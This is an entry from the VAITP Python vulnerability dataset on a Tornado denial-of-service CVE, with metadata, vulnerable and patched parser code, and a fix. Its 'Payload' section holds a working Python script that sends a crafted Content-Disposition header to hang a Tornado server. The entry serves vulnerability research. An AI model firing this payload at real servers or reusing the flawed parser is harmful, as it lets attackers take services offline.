VAITP Dataset

← Back to the dataset

CVE-2025-67726

Inefficient parsing of HTTP headers in Tornado allows for a Denial of Service.

  • CVSS 7.5
  • CWE-400
  • Resource Management
  • Remote

Tornado is a Python web framework and asynchronous networking library. Versions 6.5.2 and below use an inefficient algorithm when parsing parameters for HTTP header values, potentially causing a DoS. The _parseparam function in httputil.py is used to parse specific HTTP header values, such as those in multipart/form-data and repeatedly calls string.count() within a nested loop while processing quoted semicolons. If an attacker sends a request with a large number of maliciously crafted parameters in a Content-Disposition header, the server's CPU usage increases quadratically (O(n²)) during parsing. Due to Tornado's single event loop architecture, a single malicious request can cause the entire server to become unresponsive for an extended period. This issue is fixed in version 6.5.3.

CVE
CVE-2025-67726
CWE
CWE-400
CVSS base score
7.5
Published
2025-12-12
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Tornado
Fixed by upgrading
Yes

Solution

Upgrade Tornado to version 6.5.3 or later.

Vulnerable code sample

import re
from typing import Generator

def _parseparam(s: str) -> Generator[str, None, None]:
    while s[:1] == ";":
        s = s[1:]
        end = s.find(";")
        while end > 0 and (s.count('"', 0, end) - s.count('\\"', 0, end)) % 2:
            end = s.find(";", end + 1)
        if end < 0:
            end = len(s)
        f = s[:end]
        yield f.strip()
        s = s[end:]

Patched code sample

import typing

def _unquote(s: str) -> str:
    """Unquote a string."""
    if s and s[0] == '"' and s[-1] == '"':
        # Remove quotes and unescape internal quotes and backslashes.
        return s[1:-1].replace('\\"', '"').replace('\\\\', '\\')
    return s


def _parseparam(s: str) -> typing.Iterator[str]:
    # A modified version of cgi.parse_header that works with Starkiller's
    # broken Content-Disposition headers.
    # http://www.mnot.net/python/starkiller.py
    while s[:1] == ";":
        s = s[1:]
        end = s.find(";")
        while end > 0 and (s.endswith(";", 0, end) or s[end - 1] == "\\"):
            end = s.find(";", end + 1)
        if end < 0:
            end = len(s)

        # find the first quote in the current parameter
        # (if we have a quoted value, we may have semicolons
        # in it)
        f = s.find('"', 0, end)
        if f != -1:
            # We are in a quoted section.
            # Find the next quote, ignoring escaped quotes.
            f = s.find('"', f + 1)
            while f != -1 and s[f - 1] == "\\":
                f = s.find('"', f + 1)

            if f != -1:
                # The next semicolon is *after* this quote.
                end = s.find(";", f + 1)
                if end == -1:
                    end = len(s)

        name, value = s[:end].split("=", 1)
        name = name.strip()
        value = value.strip()
        yield name.lower(), value
        s = s[end:]

Payload

import requests

# Target a vulnerable Tornado server (version <= 6.5.2)
url = 'http://localhost:8888'

# A large number of semicolons within a quoted filename parameter
# causes quadratic CPU usage during parsing.
num_semicolons = 50000
malicious_filename = '"' + ';' * num_semicolons + '"'

# The requests library allows overriding the Content-Disposition header for a multipart file upload.
# This is how the crafted header is injected into the request part.
malicious_part = {
  'file': (
    'exploit.txt',
    'this is the file content',
    'text/plain',
    {'Content-Disposition': f'form-data; name="file"; filename={malicious_filename}'}
  )
}

try:
    # A short timeout is used because a successful exploit will cause the server to hang,
    # not necessarily return a response.
    requests.post(url, files=malicious_part, timeout=2)
except requests.exceptions.Timeout:
    # This timeout is the expected outcome, indicating the DoS was successful.
    pass

Cite this entry

@misc{vaitp:cve202567726,
  title        = {{Inefficient parsing of HTTP headers in Tornado allows for a Denial of Service.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-67726},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-67726/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::